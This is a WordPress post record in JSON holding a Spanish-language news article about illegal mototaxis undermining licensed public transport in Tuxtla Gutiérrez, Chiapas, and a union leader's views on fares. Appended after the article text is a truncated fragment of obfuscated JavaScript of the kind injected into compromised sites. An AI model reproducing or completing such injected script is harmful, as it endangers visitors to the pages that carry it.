{"id":25289,"date":"2025-11-19T02:41:09","date_gmt":"2025-11-19T02:41:09","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=25289"},"modified":"2025-11-19T02:41:10","modified_gmt":"2025-11-19T02:41:10","slug":"mototaxis-estan-llevando-a-la-quiebra-a-las-unidades-concesionadas","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=25289","title":{"rendered":"Mototaxis est\u00e1n llevando a la quiebra a las unidades concesionadas"},"content":{"rendered":"\n
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Manuel Jim\u00e9nez.
18 de noviembre del 2025. Tuxtla Guti\u00e9rrez.- Bersa\u00edn Miranda Borr\u00e1z, presidente de la Alianza del Autotransporte Organizado en el Estado y de la Confederaci\u00f3n Nacional de Sindicatos y Trabajadores, alert\u00f3 que la falta de acci\u00f3n de las autoridades ha permitido que el transporte ilegal se consolide, afectando severamente la viabilidad econ\u00f3mica del transporte formal.
Durante una reuni\u00f3n urgente con la Secretar\u00eda de Movilidad y Transporte del estado, Miranda Borr\u00e1z revel\u00f3 que en Tuxtla Guti\u00e9rrez operan entre 500 y 1,500 mototaxis que act\u00faan fuera del marco legal, desplazando progresivamente al transporte urbano regulado.
“Estamos ante una contradicci\u00f3n absoluta: mientras las recomendaciones internacionales promueven el transporte masivo para reducir emisiones, aqu\u00ed se fomenta un transporte que no es seguro ni c\u00f3modo”, critic\u00f3 el l\u00edder transportista.
La ilegalidad de esta situaci\u00f3n queda evidenciada en la Ley de Movilidad y Transporte estatal, que en su art\u00edculo transitorio solo permit\u00eda regularizar a quienes operaban tres a\u00f1os antes de su publicaci\u00f3n en 2017. Cualquier unidad que haya comenzado a operar despu\u00e9s carece de sustento legal.
La crisis ha generado un descontento generalizado que se manifest\u00f3 con protestas de taxistas frente a Palacio de Gobierno.
Miranda Borr\u00e1z se\u00f1al\u00f3 que existe un compromiso incumplido de firmar un convenio de colaboraci\u00f3n interinstitucional para aplicar operativos contra el pirataje en todas sus modalidades.
“Se iba a firmar un convenio para combatir el pirataje, pero hasta ahora no hemos visto resultados concretos. Esta inacci\u00f3n nos ha obligado a levantar la voz”, afirm\u00f3 el dirigente, quien estuvo acompa\u00f1ado por el ingeniero Octavio Guti\u00e9rrez Ruiz, representante del transporte federal.
Sobre la circulaci\u00f3n de un panfleto que propon\u00eda aumentar la tarifa del transporte colectivo a 18 pesos, Miranda Borr\u00e1z fue categ\u00f3rico: “No corresponde a nuestro grupo”. Sin embargo, reconoci\u00f3 la necesidad de un ajuste tarifario, aunque descart\u00f3 incrementos abruptos.
“La tarifa en Chiapas es de las m\u00e1s bajas del pa\u00eds porque siempre hemos privilegiado el car\u00e1cter social del transporte. Somos conscientes del impacto en el bolsillo de los m\u00e1s vulnerables”, explic\u00f3.
Aunque estudios t\u00e9cnicos recomendaban una tarifa de 13 pesos hace a\u00f1os, los transportistas optaron por no aplicarla. Ahora, consideran un “incremento emergente” moderado, lejos de las especulaciones circuladas.
El sector mantiene expectativas sobre los resultados de la reuni\u00f3n con la Secretar\u00eda, mientras exige acciones inmediatas que detengan la competencia desleal que amenaza con colapsar el transporte formal en la entidad.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"

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